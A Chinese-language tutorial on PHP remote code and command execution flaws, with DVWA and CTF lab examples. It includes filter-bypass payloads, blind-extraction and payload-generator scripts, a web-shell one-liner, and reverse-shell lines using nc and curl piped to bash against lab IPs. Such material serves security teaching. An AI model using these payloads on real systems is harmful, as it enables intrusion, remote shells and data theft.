RCE漏洞讲解
漏洞原理
RCE漏洞,通过不安全的api接口,可以让攻击者远程在系统平台中执行恶意命令和代码。
漏洞产生条件
- 调用第三方组件存在的代码执行漏洞。
- 用户输入的内容作为系统命令的参数拼接到命令中。
- 对用户的输入过滤不严格。
- 可控变量或漏洞函数。
==RCE漏洞利用的两个前提条件:可控的参数,函数漏洞==
命令执行漏洞(Command Injection)
原理
该漏洞的出现是由于应用系统从设计上需要给用户提供指定的远程命令操作的接口,例如在防火墙的WEB界面中会存在一个故障排除功能,里面就会存在类似Ping操作的界面,若设计者未针对这类功能进行严格的控制检测,则可能导致攻击者提交恶意命令,从而控制后台,控制服务器。
命令执行危险函数
PHP:system()、exec()、passthru()、shell()、shell_exec()、popen()、pcntl_exec()、proc_popen()、反引号等python:eval exec subprocess os.system commandsJava:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec系统命令执行函数
system():能将字符串作为OS命令执行,且返回命令执行结果;
exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显);
shell_exec():能将字符串作为OS命令执行,借用echo、print等输出结果
passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;
popen():打开进程文件指针,fgets获取内容->print_r输出内容
proc_open():与popen()类似,也是无回显
pcntl_exec():在当前进程空间执行指定程序;
反引号“:反引号“内的字符串会被解析为OS命令;
命令执行函数介绍
system函数
该函数会将执行的结果输出并将输出结果的最后一行作为字符串返回,如果执行失败则返回 fales。这个函数也是最常用的。
- 格式:
system ( string $command [, int &$return_var ] ) - 作用:
system函数执行给定的command命令,并将结果输出。第二个参数用于存储命令的返回状 态,这是一个可选参数。 - 示例:
<?phphighlight_file(_FILE_);system('pwd');?>exec函数
该函数不会输出结果,但是会返回执行结果的最后一行,可以结合output进行结果的输出。
- 格式:
exec ( string $command [, array &$output [, int &$return_var ]] ) - 作用:执行一个外部程序,
exec()执行command参数所指定的命令。 - 示例
<?phphighlight_file(_FILE_);exec('pwd',$b);var_dump($b); //打印变量的信息?>passthru函数
Passthru函数是PHP中的一个执行外部程序的函数,它能够将外部程序的标准输出直接传递给浏览器。该函数只调用命令,并将运行的结果原封不动的输出,没有相应的返回值。
- 格式:
passthru($command); - 示例:
<?phphighlight_file(_FILE_);passthru('ls')?>shell_exec函数
该函数不会输出结果,返回执行结果,使用反引号(“)时调用的就是此函数
<?phphighlight_file(_FILE_);var_dump(shell_exec('ls'));?>命令执行基础
windows基础命令
windows的基础命令就是在cmd中输入的命令,类似 ping、ipconfig等
ping //测试连通性tracert //追踪路由telnet //远程连接dir //列出目录ipconfig //查看iparp -a //查看路由表calc //打开计算器regedit //打开注册表netstat -ano //查看服务器端口信息whoami //查看当前有效用户名net user //查看用户linux基础命令
平常使用的就是
cd //切换目录ls //显示当前目录下的文件ifconfig //查看IP地址cat /etc/passwd //查看password文件内容id //查看当前用户的id号cat /etc/group //查看用户组文件内容pwd //显示当前目录uname -a //查看当前系统版本natstat -pantu //查看当前服务器的端口信息netstat -nr //查看网关和路由命令连接符
**windows和linux都支持的命令连接符:
cmd1 | cmd20只执行cmd2-cmd1 || cmd2只有当cmd1执行失败后,cmd2才被执行cmd1 & cmd2先执行cmd1,不管是否成功,都会执行cmd2cmd1 && cmd2先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2linux还支持分号cmd1 ; cmd2按顺序依次执行,先执行cmd1再执行cmd2
示例/dvwa
low级别
- 这里我们使用
whoami查看用户,但是如果在这里直接输入whoami,命令没有被执行。这时候我们就可以使用命令连接符
800 - 当我们在此处使用
| whoami命令连接符时,命令被执行。使用|只会执行后面的。
800
Medium级别
这里对&&进行了过滤,使用其他连接符即可

high级别
这里就对|和&都进行了过滤,不过把|后面的空格去掉就行了|whoami,应该只地对单独的连接符进行了过滤。后面看成是一个整体了。

代码执行漏洞(Code execution)
原理
由于应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,则会导致代码执行漏洞的发生
漏洞危害
- 控制受害者的系统:攻击者可以利用漏洞控制受害者的系统,并对其进行各种恶意操作,如上传、下 载、删除、修改文件等,甚至可以利用该漏洞构建僵尸网络、挖掘加密货币等。
- 窃取敏感信息:攻击者可以通过该漏洞窃取受害者系统中的敏感信息,如账号、密码、财务信息等。
- 进行后门植入:攻击者可以利用漏洞在系统中植入后门,以便在未来任何时间进行下一步的攻击。
代码执行函数介绍
代码执行函数
eval():将字符串作为php代码执行;
assert():将字符串作为php代码执行;
preg_replace():正则匹配替换字符串;
create_function():主要创建匿名函数;
call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;
call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;
可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;
${}执行代码
该执行代码会将中间的PHP代码进行解析
<?php${<?-- -->phpinfo()>};?>eval函数
该函数会将字符串当作函数进行执行,但是需要传入一个完整的语句,并且必须以;分号为结尾,也是最常见的函数
<?phpeval('echo "hello world";');?>
//恶意代码示例//<?php eval($_POST['a']);?>assert函数
该函数是判断是否为字符串,如果是则当成代码执行。在php7.0.29之后的版本不支持动态调用
与eval稍有不同的是,传入的PHP代码不需要以分号结尾。
//低版本<?phpassert($_POST['a'])?>;//7.0.29之后<?php$a = 'assert';$a(phpinfo());?>array_map函数
该函数是为数组的每个元素应用回调函数
<?phphighlight_file(__FILE__);$a = $_GET['a'];$b = $_GET['b'];$array[0] = $b;$c = array_map($a,$array);?>构建的payload?a=assert&b=phpinfo();preg_replace
用来执行一个正则表达式的搜索和替换。执行代码需要使用==/e== 修饰符。前提是不超过PHP7
<?phpecho(preg_replace("/test/",$_POST['a'],"just test"));?>call_user_func
回调函数,可以使用is_callable查看是否可以进行调用
<?phpcall_user_func("assert",$_POST['a']);?>call_user_func_array
回调函数,参数为数组
格式:call_user_func_array ( callable $callback , array $param_arr )
第一个参数作为回调函数(callback)调用
把参数数组作(param_arr)为回调函数的的参数传入
<?phphighlight_file(__FILE__);$array[0] = $_POST['a'];call_user_func_array("assert",$array);?>create_function
用来创建匿名函数
格式:create_function(string $args,string $code)
- args是要创建的函数的参数
- code是函数内的代码
<?phperror_reporting(0);$sort_by = $_GET['sort_by'];$sorter = 'strnatcasecmp';$databases=array('1234','4321');$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';usort($databases, create_function('$a, $b', $sort_function));?>payload
?sort_by="]);}phpinfo();/*示例
eval函数示例
看到此页面,直接在框框里输入phpinfo();试一下,后面要跟分号。看到代码被执行。

assert函数示例
与eval类似,不过分号可以省略。也是直接在框框里输入phpinfo()。代码被执行。

call_user_func函数示例
看到这个页面就知道与上面两个有所区别,这里有两个可控参数,第一个是被调用函数。第二则是被调用函数的参数。
我们在第一个框里输入system,第二则是ls,可以看到代码成功执行。

RCE绕过
管道符
| 管道符 | 写法 | 描述 | 实例 |
|---|---|---|---|
| ; | A;B | 无论真假,A与B都执行 | ls;id |
| & | A&B | 无论真假,A与B都执行 | ls&id |
| && | A&&B | A为真时才执行B,否则只执行A | ls&&id |
| | | A|B | 将A的结果作为B的参数,显示B的结果 | ls|id |
| || | A||B | A为假时才执行B,否则只执行A | ls|id |
空格过滤
| 以下可代替空格 | ||
|---|---|---|
| < | <> | %20(即space) |
| %09(即tab) | 9 | ${IFS} |
| $IFS | {cat,/flag} |
关键字过滤
通配符绕过
?、* ? 在linux里面可以进行代替字母。?仅代表单个字符串,但此单字必须存在
# 假如flag被过滤cat fl?g.phpcat ????.???* 在linux里面可以进行模糊匹配。*可以代表任何字符串
# 假如flag被过滤cat f*单引号过滤
# 假如tac和flag被过滤t""ac fl""ag.p""hpta''c fl''ag.p''hp"反斜杆\绕过
把特殊字符去功能性,单纯表示为字符串。在linux中是命令连接符
# 过滤flagtac fl\ag.p\hp
# 过滤tact\ac flag.php特殊变量
特殊变量:$1 到 $9 、$@ 和 $* 等
# 过滤flagcat fl$1ag.p$2hp
# 过滤catc$@at flag.php内联执行
自定义字符串,再拼接起来
# 过滤flaga=f;b=la;c=g.p;d=hp;tac $a$b$c$d
a=f;b=la;c=g.t;d=xt;e=c;f=at;$e$f $a$b$c$dcat替换
| tac | 与cat相反,按行反向输出 | tac flag.php |
|---|---|---|
| more | 按页显示,用于文件内容较多且不能滚动屏幕时查看文件 | more flag.php |
| less | 与more类似 | less flag.php |
| tail | 查看文件末几行 | tail flag.php |
| head | 查看文件首几行 | head flag.php |
| nl | 在cat查看文件的基础上显示行号 | nl flag.php |
| od | 以二进制方式读文件,od -A d -c /flag转人可读字符 | od flag.php od -A d -c flag.php |
| xxd | 以二进制方式读文件,同时有可读字符显示 | xxd flag.php |
| sort | 排序文件 | sort flag.php |
| uniq | 报告或删除文件的重复行 | uniq flag.php |
| file -f | 报错文件内容 | file -f flag.php |
| grep | 过滤查找字符串,grep flag /flag | grep fl fla* |
| dd | 读磁盘的信息,顺便给了目录信息 | dd if=flag.php |
编码绕过

base64编码
# Y2F0IGZsYWcucGhw为cat flag.php。bash可以使用sh、/bin/bash替换echo Y2F0IGZsYWcucGhw | base64 -d | bash
`echo Y2F0IGZsYWcucGhw | base64 -d`$(echo Y2F0IGZsYWcucGhw | base64 -d)base32编码
# 编码为cat flag.phpecho MNQXIIDGNRQWOLTQNBYA==== | base64 -d | bashHEX编码
# 编码为cat flag.phpecho 63617420666c61672e706870 |xxd -r -p |bashshellcode编码
# 编码为tac flag.phpprintf "\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"|bash无回显RCE
相关命令
| sleep | 5秒后返回结果 | sleep 5 |
|---|---|---|
| awk NR | 逐行获取数据 | cat flag.php | awk NR==1 |
| cut -c | 逐列获取单个字符 | cat flag.php | awk NR==1 |cut -c 1 |
| if | 判断命令是否执行 | if [ 2 > 1 ];then echo “right”;fi |
| payload |
if [ $(cat flag.php | awk NR==1 | cut -c 1) == f ];then sleep 2;fi脚本
import requestsimport timeurl = "http://192.168.1.6:19080/class08/1.php"result = ""for i in range(1,5): for j in range(1,55): #ascii鐮佽〃 for k in range(32,128): k=chr(k) #time.sleep(0.1) payload = "?cmd=" + f"if [ `cat flag.php | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi" try: requests.get(url=url+payload, timeout=(1.5,1.5)) except: result = result + k print(result) break result += " "# 无回显RCE,如exce()函数,可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可ls / | tee 1.txtcat /flag | tee 2.txt# eval()无输出
eval(print`c\at /flag`;)绕过长度限制
绕过长度7
通过创建文件名,和结合ls -t写进文件执行命令
>创建很短的文件名
ls -t按时间顺序列出文件名,按行储存
\连接换行命令
sh从文件中读取命令
假如要执行命令是
cat flag|nc 172.25.19.202 7777
>7777>\ \\>202\\>19.\\>25.\\>172.\\>c\ \\>\|n\\>flag\\>t\ \\>ca\\此时服务器有这么些文件

ls -t>a
sh a成功得到flag

#encoding:utf-8import timeimport requestsbaseurl = "http://192.168.1.6:19080/class09/2/index.php?cmd="s = requests.session()
list=[ '>7777', '>1\%20\\', '>16\\', '>1.\\', '>168.\\', '>2.\\', '>19\\', '>c\%20\\', '>\|n\\', '>ag\\', '>fl\\', '>t\ \\', '>ca\\', 'ls -t>a']
for i in list: time.sleep(1) url = baseurl+str(i) s.get(url)
s.get(baseurl+"sh a")绕过长度5

>ls\\ls>_>\ \\>-t\\>\>yls>>_步骤二:分解命令,创建文件 要执行的命令
curl 172.25.19.202|bash
>bash>\|\\>02\\>.2\\>19\\>5.\\>2\\>2.\\>17\\>rl\\>cu\\步骤三:执行脚本sh
sh _sh y准备工作
- 开启监听端口
- 创建index.html文件
nc 172.25.19.202 7777 -e /bin/bash- 开启服务 脚本
#encoding:utf-8import timeimport requestsbaseurl = "http://192.168.1.6:19080/class09/3/index.php?cmd="s = requests.session()
# 将ls -t 写入文件_list=[ ">ls\\", "ls>_", ">\ \\", ">-t\\", ">\>y", "ls>>_"]
# curl 192.168.1.161/1|bashlist2=[ ">bash", ">\|\\", ">\/\\", ">61\\", ">1\\", ">1.\\", ">8.\\", ">16\\", ">2.\\", ">19\\", ">\ \\", ">rl\\", ">cu\\"]for i in list: time.sleep(1) url = baseurl+str(i) s.get(url)
for j in list2: time.sleep(1) url = baseurl+str(j) s.get(url)
s.get(baseurl+"sh _")s.get(baseurl+"sh y")绕过长度4
前置知识:
dir:按列输出文件名,不换行。
*:相当于$(dir *)
*如果第一个文件是命令的话就会执行命令,返回执行的结果,之后的文件名作为参数传入
rev:可以反转文件每一行的内容。
步骤一:构造ls -t>g
# 避免原有的文件影响命令执行>g\;
>g\>>ht->sl>dir
*>v
# 倒序排列>rev*v>x步骤二:构造一个反弹shell
curl 192.168.220.20|bash# 上面不行,要使用16进制curl 0xc0a8dc14|bash
>ash>b\>\|\>14\>dc\>a8\>c0\>0x\>\ \>rl\>cu\
sh xsh g步骤三:反弹回来的shell查看flag
准备工作
- 开启监听端口
Terminal window nc -lvvp 7777 - 创建index.html文件。目标靶机curl下载index.html,交给bash执行,反弹shell
Terminal window nc 192.168.220.20 7777 -e /bin/bash - 开启http.server 监听80端口
python -m http.server 80
- 执行脚本 脚本
#encoding:utf-8import timeimport requestsbaseurl = "http://192.168.20.129:18088/class09/4/ffff.php?cmd="s = requests.session()
# 将ls -t 写入文件glist=[ ">g\;", ">g\>", ">ht-", ">sl", ">dir", "*>v", ">rev", "*v>x"]
# curl 192.168.1.161|bashlist2= [ ">ash", ">b\\", '>\|\\', '>14\\', '>dc\\', '>a8\\', '>C0\\', '>0x\\', '>\ \\', '>rl\\', '>cu\\']for i in list: time.sleep(1) url = baseurl+str(i) s.get(url)
for j in list2: time.sleep(1) url = baseurl+str(j) s.get(url)
s.get(baseurl+"sh x")s.get(baseurl+"sh g")无参数RCE
http请求标头
通过 getallheaders():获取所有HTTP请求标头
然后通过end或者pos去取值
# pos()把第一项的值显示出来?code=print_r(pos(getallheaders()));
# end()把最后一项的值显示出来?code=print_r(end(getallheaders()));apache_request_headers():功能与getallheaders()相似、适用于apache服务器
利用全局变量RCE(php5/7)
get_defined_vars():返回所有已定义变量的值,所组成的数组
?code=eval(end(pos(get_defined_vars())));&cmd=system('ls');利用session
session_start:启动新会话或者重用现有会话,成功开始会话返回True,反之返回flase。
?code=show_source(session_id(session_start()));然后修改PHPSESSID的值为./flag,再使用show_source读取flag文件源代码。

?code=eval(hex2bin(session_id(session_start())));
scandir读取
scandir():类似ls,在某文件路径下,把内容以列表形式显示出来
scandir() — 列出指定路径中的文件和目录(PHP 5, PHP 7, PHP 8)getcwd() — 取得当前工作目录(PHP 4, PHP 5, PHP 7, PHP 8)current() — 返回数组中的当前值(PHP 4, PHP 5, PHP 7, PHP 8)array_reverse() — 返回单元顺序相反的数组(PHP 4, PHP 5, PHP 7, PHP 8)array_flip() — 交换数组中的键和值(PHP 4, PHP 5, PHP 7, PHP 8)next() — 将数组中的内部指针向前移动(PHP 4, PHP 5, PHP 7, PHP 8)array_rand — 从数组中随机取出一个或多个随机键chdir() — 系统调用函数(同cd),用于改变当前工作目录strrev() — 用于反转给定的字符串crypt() —用来来加密,目前Linux平台上加密的方法大致有MD5, DES, 3 DEShebrevc() — 把希伯来文本从右至左的流转换为左至右的流。localeconv() — 获取当前地域的数字和货币格式信息。显示的数组第一项为"."show_source() — 对文件进行语法高亮显示highlight_file() — 对文件内容进行 PHP 语法高亮显示dirname() — 返回路径中的目录部分 上一级目录例题
<?phperror_reporting(0);highlight_file(__FILE__);if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']);}?>payload:
highlight_file(current(array_reverse(scandir(current(localeconv())))));
根目录
# 此时通过crypt随机加密可能可以得到"\",不过\在最后面,可以通过strrev反转字符串print_r(strrev(crypt(serialize(array()))));
print_r(chr(ord(strrev(crypt(serialize(array()))))));
highlight_file(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))))));无字母数字RCE
异或绕过
脚本
# 异或构造Python脚本valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
answer = input('输入异或构造的字符串:')
tmp1, tmp2 = '', ''for c in answer: for i in valid: for j in valid: if ord(i) ^ ord(j) == ord(c): tmp1 += i tmp2 += j break else: continue break
print(f'"{tmp1}"^"{tmp2}"')def generate_xor_payload(target_str): """ 将目标字符串转换为PHP异或表达式 格式: "A"^"B" 其中A和B仅包含非字母数字字符 """# 定义安全字符集(非字母数字的可见ASCII字符) safe_chars = [c for c in range(32, 127) if not (48 <= c <= 57 or 65 <= c <= 90 or 97 <= c <= 122)]
# 移除双引号(34)避免冲突,保留反斜杠(92)但需要转义 safe_chars = [c for c in safe_chars if c != 34]
left_parts = [] right_parts = []
for char in target_str: target_code = ord(char) found = False
# 尝试查找合适的字符对 for a in safe_chars: b = a ^ target_code if b in safe_chars: left_parts.append(chr(a)) right_parts.append(chr(b)) found = True break
if not found: # 尝试使用两次异或(如果需要) for a in safe_chars: for c in safe_chars: b = a ^ target_code ^ c if b in safe_chars: left_parts.append(chr(a)) right_parts.append(chr(b)) found = True break if found: break
if not found: raise ValueError(f"无法为字符 '{char}' (ASCII {target_code}) 找到合适的异或对")
# 构建PHP字符串,处理反斜杠转义 left_str = ''.join(left_parts).replace('\\', '\\\\') right_str = ''.join(right_parts).replace('\\', '\\\\')
return f'"{left_str}"^"{right_str}"'
def generate_full_payload(command): """ 生成完整的PHP payload 格式: $_ = [函数异或]; $__ = [参数异或]; $_($__); """# 分解命令为函数和参数 if '(' in command and ')' in command: func = command.split('(')[0] args = command.split('(')[1].rstrip(')') else: func = command args = ""
try: func_payload = generate_xor_payload(func) args_payload = generate_xor_payload(args)
php_code = f'$_ = {func_payload};'
if args: php_code += f'$__ = {args_payload};' php_code += '$_($__);' else: php_code += '$_();'
return php_code
except ValueError as e: return f"生成失败: {e}"
def main(): print("PHP非字母数字异或Payload生成器") print("=" * 50)
while True: try: command = input("\n请输入要执行的命令 (例如 system('ls'), system('cat /flag')): ").strip() if not command: print("输入不能为空,请重新输入") continue
payload = generate_full_payload(command)
print("\n生成的PHP代码:") print(payload)
# URL编码 from urllib.parse import quote url_encoded = quote(payload) print("\nURL编码结果:") print(url_encoded)
print("\n" + "=" * 50)
except KeyboardInterrupt: print("\n\n已退出") break
if __name__ == "__main__": main()实例:
# phpinfo?cmd=$_="+(+).&/"^"[@[@@@@";$_();# 进行url编码?cmd=%24_%3D%22%2B(%2B).%26%2F%22%5E%22%5B%40%5B%40%40%40%40%22%3B%24_()%3Bphp5
# assert($_POST['_']);
<?php$a = 'assert';$b = '_POST';$c = $$b; // $c = $_POST$a($c['_']); // assert($_POST['_']);?>
# 替换成<?php$_ = "!((%)("^")@[[@[\\";$__ = "!+/(("^")~{`{|";$___ = $$__;$_($___['_']);?>
# 最终payload?cmd=$_="!((%)("^"@[[@[\\";$__="!+/(("^"~{`{|";$___=$$__;$_($___['_']);
# 然后post提交_=system('ls');php7
# `$_POST[_]`;
<?php$_ = '_POST';$__ = $$_;`$__[_]`;?>
# 最终payload?cmd=$_="!+/(("^"~{`{|";$__=$$_;`$__[_]`;
# 然后post提交_=nc 172.25.19.202 7777 -e /bin/bash;取反绕过
php7 脚本
<?php$a = "system";$b = "cat /flag";
$c = urlencode(~$a);$d = urlencode(~$b);
//输出得到取反传参内容echo "?cmd=(~".$c.")(~".$d.");"?>php5
assert
取反url编码:%9e%8c%8c%9a%8d%8b
<?php$_=~("%9e%8c%8c%9a%8d%8b");$__=~("%A0%AF%B0%AC%AB");$___=$$__;$_($___[_]);?
# 最终payload,不需要再URL编码?cmd=$_=~("%9e%8c%8c%9a%8d%8b");$__=~("%A0%AF%B0%AC%AB");$___=$$__;$_($___[_]);
#post提交_=system('ls');自增绕过
payload
//自增payload,assert($_POST[_]),命令传入_$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);&_=phpinfo();原理:
$_ = [];echo $_;# 此时$_输出Array,只不过此时一个数组,并不是字符串。但是可以通过加一个字符串就变成了字符串Array。
$_ = [].'';echo $_;# 现在输出的就是字符串Array现在我们得到了字符串Array,那我们要怎么取呢,如果正常取应该是$_[0],但关键是我们不能取0,此时就可以通过false,因为false也有0的意思。那么就可以用一个不存在的变量$__,因为变量不存在,就是false,假值0
$_ = [].'';$_ = @"$_";$___ = ($_[$__]);echo $___;// 输出A那有字母A了有什么用呢?可以使用自增++
$_ = 'A'echo ++$_//输出 B可以看到上面通过++变量的值A变成了B,那么如果我们要其他字母,就可以继续通过++也获取。也就是说只要获取A,就可以自增获取BCD
注意:++\_先累加再输出,\_++先输出再累加
那么好,此时我们构造一个assert($_POST[_]);
$_ = [].'';//$_ = @"$_";$___ = ($_[$__]);$__ = $___;$_ = $__;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;$__=$__.$_.$_;$_=$___;++$_;++$_;++$_;++$_;$__=$__.$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;$__=$__.$_;++$_;++$_;$__=$__.$_;$_=$___;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;$____ ='_';$____=$____.$_;$_=$___;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;$____=$____.$_;++$_;++$_;++$_;++$_;$____=$____.$_;++$_;$____=$____.$_;
$_=[].'';$___=$_[$__];$__=$___;$_=$___;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;
// 然后post提交_=system('ls');脚本
<?phphighlight_file(__FILE__);$cmd = strtoupper($_GET['cmd']);$cmd2 = strtoupper($_GET['post']);function POC($cmd){ $i = 0; $POC_pat1 = "\$__=\$___;"; $POC_pat2 = "\$_ .=\$__;"; while ($i<strlen($cmd)){ $str1 = $cmd[$i]; $POC1 = base_convert(bin2hex($str1),16,10)-base_convert(bin2hex("A"),16,10); if ($i<1) { $POC_pat3 = str_repeat("++\$__;",$POC1); echo $POC_pat3; }else{ $str2 = $cmd[$i-1]; if($str1==$str2){ $POC_pat5 = $POC_pat2; echo $POC_pat5; }else{ $POC_pat6 = $POC_pat1.str_repeat("++\$__;",$POC1).$POC_pat2; echo $POC_pat6; } } $i++; }}
function POC2($cmd){ $i = 0; echo '$____ = "_";$__=$___;'; $POC_pat1 = "\$__=\$___;"; $POC_pat2 = "\$____ .=\$__;"; while ($i<strlen($cmd)){ $str1 = $cmd[$i]; $POC1 = base_convert(bin2hex($str1),16,10)-base_convert(bin2hex("A"),16,10); if ($i<1) { $POC_pat3 = str_repeat("++\$__;",$POC1).$POC_pat2; echo $POC_pat3; }else{ $str2 = $cmd[$i-1]; if($str1==$str2){ $POC_pat5 = $POC_pat2; echo $POC_pat5; }else{ $POC_pat6 = $POC_pat1.str_repeat("++\$__;",$POC1).$POC_pat2; echo $POC_pat6; } } $i++; }}
if (!empty($cmd)){ $POC_pat7 = "\$_=[].'';\$___=\$_[\$__];\$__=\$___;\$_=\$___;"; echo $POC_pat7; POC($cmd);}if (!empty($cmd2)){ POC2($cmd2);}过滤_
payload:
?cmd=?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>&%a0=pwd
?cmd=?><?=`{${~"%a0%af%b0%ac%ab"}["-"]}`?>// post提交-=ls构建文件上传数据包
php7
使用call_user_func()
然后取反
(~%9C%9E%93%93%A0%8A%8C%9A%8D%A0%99%8A%91%9C)(~%8C%86%8C%8B%9A%92,~%91%9C%DF%CE%C8%CD%D1%CD%CA%D1%CE%C6%D1%CD%CF%CD%DF%C8%C8%C8%C8%DF%D2%9A%DF%D0%9D%96%91%D0%9D%9E%8C%97,'');
(call_user_func)(system,nc 172.25.19.202 7777 -e /bin/bash,'');php5
- 步骤一:先构造一个文件上传的POST数据包;
- 步骤二:PHP页面生成临时文件phpXXXXXX,存储在/tmp目录下;
- 步骤三:执行指令 ./???/??????[@-[],读取文件,执行其中指令;
- 步骤四:在上传的文件中写入一句话木马,把木马生成位置指定一个绝对路径,直接执行;
php中post上传文件会把我们上传的文件暂时存在 /tmp目录下,默认文件名是phpXXXXX,文件名最后6个字符是随机的大小写字母。 当我们传入文件执行时可用
. /???/?????????但是使用?能匹配的文件太多了,可能会报错。但由于 PHP 生成的 tmp 文件最后一位是随机的大小写字母可以重构命令
. /???/????????[@-[]//[@-[]表示ascii在@和[之间的字符,也就是大写字母最后就可以执行写入的恶意命令 创建一个html文件进行上传
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title></head><body><form action="题目链接" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"></form></body></html>成功执行

部分内容可能已过时
dnw